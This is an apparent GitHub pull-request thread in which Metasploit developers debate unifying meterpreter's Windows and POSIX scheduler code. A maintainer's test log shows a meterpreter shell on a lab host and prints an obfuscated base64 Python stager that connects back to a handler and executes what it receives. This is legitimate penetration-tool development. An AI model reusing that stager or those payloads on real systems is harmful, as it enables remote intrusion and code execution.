Unify POSIX and Windows scheduler.c

[rwhitcroft]

removed .../common/arch/{win,posix}/scheduler.c added .../common/scheduler.c updated Makefiles and VS2013 solution

[metasploit-public-bot]

Can one of the admins verify this patch? For more information see: https://github.com/rapid7/meterpreter/wiki/CI-Testing

[OJ]

jenkins, this is ok to test

[bcook-r7]

To be honest, I'm just not a big fan of the current #ifdef tangle between posix and windows meterpreters, and don't look forward to adding more. Others might disagree, but I'm not certain this is an improvement.

[OJ]

@rwhitcroft thanks! This looks like a great first submission. I'll get on this first thing this morning.

[OJ]

Hey @bcook-r7 I do disagree :) I spoke to @rwhitcroft about this yesterday after he reached out looking for things to get started on with meterpreter. I said that this is one of the things that I had intended to do in the early days when I had made the POSIX scheduler look more like the Windows one.

It would have already been in place ages ago if I wasn't so lazy. I think this is an improvement, the amount of code duplication has been reduced quite a lot.

[OJ]

From looking at the changes, there really aren't that many in there anyway. Much of it is around debugging.

This gets a +1 from me to be honest, but I'm open to discussing it further. Thanks @rwhitcroft!

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/144/ Test PASSED.

[OJ]

My main concern with not doing this kind of merging is that we end up with stacks more code that over time diverges more and more. Looking back on the history of projects I've had to work on which require multi-platform support, I've noticed that divergence is way easier when the code isn't in people's faces.

Meterpreter is slightly different in that so many people review things as they go, however I think the code reduction is good. I don't disagree with the emphasis being placed on reduction of #ifdefs in favour of more portable code, but sometimes it's not possible to avoid (thank you Windows).

The two scheduler implementations were so similar that 90% of the code was duplicated. To me, this change makes sense.

[bcook-r7]

I'm not against sharing, so I can't argue against that, but would like #ifdef elimination to at least be considered though. If a file is 90% the same between two OSes, factor out the 10% in separate OS-dependent files. It ends up looking a lot nicer OMO, especially when you move beyond 2 OSes.

[OJ]

The problem is that the 10% that is different is interleaved, scattered through the middle of functions. To keep that kind of stuff in arch-specific files would mean pulling them out into external functions. The amount of work (and overhead as a result) to do that doesn't make sense.

I agree with your sentiment, especially if the implementations are very different, or if there are a lot more platforms. I'm just not sure that this case fits that profile.

Cheers!

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/145/ Test PASSED.

[OJ]

This looks pretty clean to me! I think this is a worthy submission. @bcook-r7 are you happy? Do you still have concerns with the idea of merging these files?

[bcook-r7]

Go for it.

[rwhitcroft]

Cool - and thanks for your help and patience fellas!

[OJ]

Builds cleanly. Looks like things are still functioning on Windows:

msf exploit(handler) > run

[*] Started reverse handler on 10.1.10.40:8000 
[*] Starting the payload handler...
[*] Sending stage (787456 bytes) to 10.1.10.42
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.42:64063) at 2015-02-05 07:43:16 +1000

meterpreter > shell
Process 3676 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

Z:\scratch\meterpreter\10.1.10.40>dir
dir
 Volume in drive Z is Shared Folders
 Volume Serial Number is 0000-0064

 Directory of Z:\scratch\meterpreter\10.1.10.40

10/23/2014  10:30 AM             6,144 revtcp8000-x64.exe
10/27/2014  10:10 PM            73,802 revhttp8443-x86.exe
10/27/2014  10:03 PM            73,802 revhttps8443-x86.exe
10/27/2014  10:03 PM             6,144 revhttps8443-x64.exe
11/11/2014  08:06 AM    <DIR>          .
11/11/2014  08:06 AM               358 revtcp8000.py
11/16/2014  09:11 AM            73,802 revtcp8000-x86.exe
10/27/2014  10:46 PM    <DIR>          ..
               6 File(s)        242,244 bytes
               2 Dir(s)  75,801,841,664 bytes free

Z:\scratch\meterpreter\10.1.10.40>type revtcp8000.py
type revtcp8000.py
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4xLjEwLjQwJyw4MDAwKSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg==')))
Z:\scratch\meterpreter\10.1.10.40>whoami
whoami
win-s45guq5kgvk\oj

Z:\scratch\meterpreter\10.1.10.40>^Z
Background channel 1? [y/N]  y
meterpreter > channel -l

    Id  Class  Type
    --  -----  ----
    1   3      stdapi_process

meterpreter > channel -i 1
Interacting with channel 1...

Z:\scratch\meterpreter\10.1.10.40>whoami
whoami
win-s45guq5kgvk\oj

Z:\scratch\meterpreter\10.1.10.40>dir
dir
 Volume in drive Z is Shared Folders
 Volume Serial Number is 0000-0064

 Directory of Z:\scratch\meterpreter\10.1.10.40

10/23/2014  10:30 AM             6,144 revtcp8000-x64.exe
10/27/2014  10:10 PM            73,802 revhttp8443-x86.exe
10/27/2014  10:03 PM            73,802 revhttps8443-x86.exe
10/27/2014  10:03 PM             6,144 revhttps8443-x64.exe
11/11/2014  08:06 AM    <DIR>          .
11/11/2014  08:06 AM               358 revtcp8000.py
11/16/2014  09:11 AM            73,802 revtcp8000-x86.exe
10/27/2014  10:46 PM    <DIR>          ..
               6 File(s)        242,244 bytes
               2 Dir(s)  75,801,833,472 bytes free

Z:\scratch\meterpreter\10.1.10.40>exit
meterpreter > 

[OJ]

Linux, not happy:

msf exploit(handler) > run

[*] Started reverse handler on 10.1.10.40:8000 
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1245184 bytes) to 10.1.10.40
[*] Meterpreter session 2 opened (10.1.10.40:8000 -> 10.1.10.40:56759) at 2015-02-05 07:46:40 +1000

meterpreter > shell
Process 1977 created.
Channel 1 created.
[-] core_channel_interact: Operation failed: 22

Investigating.

[bcook-r7]

Reproduced here as well! I also had to kill -9 it once in this state. I may poke at this on the plane tomorrow.

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/146/ Test PASSED.

[rwhitcroft]

Linux meterp works fine when scheduler.c is one huge ifdef:

#include "common.h"

#ifdef _WIN32
<contents of arch/win/scheduler.c>
#else
<contents of arch/posix/scheduler.c>
#endif

Maybe not surprising, just thought I'd mention it. Will keep at it.

[bcook-r7]

Once you figure this out, it would make me happy if you could start a new PR doing this in git:

1. start with clean new branch
2. git mv arch/win/scheduler.c scheduler.c
3. add posix bits (copy over your working version)
4. git rm arch/posix/scheduler.c
5. commit as one commit.

This will allow git to track the history from the most 'storied' old file into the new file. That way, when someone later does 'git log scheduler.c', all of the past history is not lost and its easy to follow what changed. Maybe squashing would also do the trick. Sound fair?

[rwhitcroft]

Making you happy is my top priority.

I'll try again/harder.